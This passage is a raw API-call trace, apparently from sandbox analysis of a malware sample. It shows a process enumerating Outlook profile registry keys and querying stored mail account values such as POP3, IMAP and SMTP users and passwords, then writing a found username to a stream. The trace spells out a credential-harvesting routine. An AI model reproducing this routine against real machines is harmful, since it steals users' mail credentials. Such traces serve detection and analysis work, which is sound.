hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x75f7768c | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.756] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x3, lpData=0x0, lpcbData=0x12ee38*=0xc) returned 0x0 [0079.756] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.756] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x665780, lpcbData=0x12ee38*=0xc | out: lpType=0x0, lpData=0x665780*=0x66, lpcbData=0x12ee38*=0xc) returned 0x0 [0079.756] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.757] IsTextUnicode (in: lpv=0x665780, iSize=12, lpiResult=0x0 | out: lpiResult=0x0) returned 1 [0079.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feasf", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0079.757] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x668840 [0079.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feasf", cchWideChar=6, lpMultiByteStr=0x668840, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feasf", lpUsedDefaultChar=0x0) returned 6 [0079.757] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee4c*=0x0, cb=0x4, pcbWritten=0x12ee28 | out: pcbWritten=0x12ee28*=0x4) returned 0x0 [0079.757] lstrlenA (lpString="POP3 User") returned 9 [0079.757] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0x9, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.757] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x416ecc*=0x50, cb=0x9, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0x9) returned 0x0 [0079.757] lstrlenA (lpString="feasf") returned 5 [0079.757] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee28*=0x5, cb=0x4, pcbWritten=0x12ee04 | out: pcbWritten=0x12ee04*=0x4) returned 0x0 [0079.757] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x668840*=0x66, cb=0x5, pcbWritten=0x12ee00 | out: pcbWritten=0x12ee00*=0x5) returned 0x0 [0079.757] LocalFree (hMem=0x668840) returned 0x0 [0079.757] LocalFree (hMem=0x665780) returned 0x0 [0079.757] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.757] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x75f7768c | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.757] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.757] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.757] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.757] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.757] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.757] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.757] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.757] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.757] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.757] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.757] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.757] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.757] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.758] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.758] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.758] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.759] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.759] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.759] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.759] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.759] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.759] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.759] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.759] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.759] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.759] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.759] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.759] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.759] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.760] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12ee70*=0x10, cb=0x4, pcbWritten=0x12ee4c | out: pcbWritten=0x12ee4c*=0x4) returned 0x0 [0079.760] LocalFree (hMem=0x65b170) returned 0x0 [0079.760] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x3, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.760] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 122 [0079.760] lstrlenA (lpString="\\") returned 1 [0079.760] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x630000 [0079.760] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.760] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.760] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 123 [0079.760] lstrlenA (lpString="00000004") returned 8 [0079.760] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x66b940 [0079.760] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.760] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000004" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004" [0079.760] LocalFree (hMem=0x630000) returned 0x0 [0079.760] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.760] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.761] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x4, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.761] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xc, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9fd587aab699e24cb035dd8129bd6b5b", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.761] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.761] lstrlenA (lpString="\\") returned 1 [0079.761] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.761] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.761] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.761] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.761] lstrlenA (lpString="9fd587aab699e24cb035dd8129bd6b5b") returned 32 [0079.761] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.761] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.761] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="9fd587aab699e24cb035dd8129bd6b5b" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b" [0079.762] LocalFree (hMem=0x66b738) returned 0x0 [0079.762] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b") returned 122 [0079.762] lstrlenA (lpString="") returned 0 [0079.762] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.762] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b" [0079.762] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b" [0079.762] LocalFree (hMem=0x630000) returned 0x0 [0079.762] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9fd587aab699e24cb035dd8129bd6b5b", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.762] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.762] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xd, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="d9417b97bf6b594d89a41cdbed740112", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.762] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.762] lstrlenA (lpString="\\") returned 1 [0079.762] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.762] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.762] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.762] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.762] lstrlenA (lpString="d9417b97bf6b594d89a41cdbed740112") returned 32 [0079.762] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.762] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows 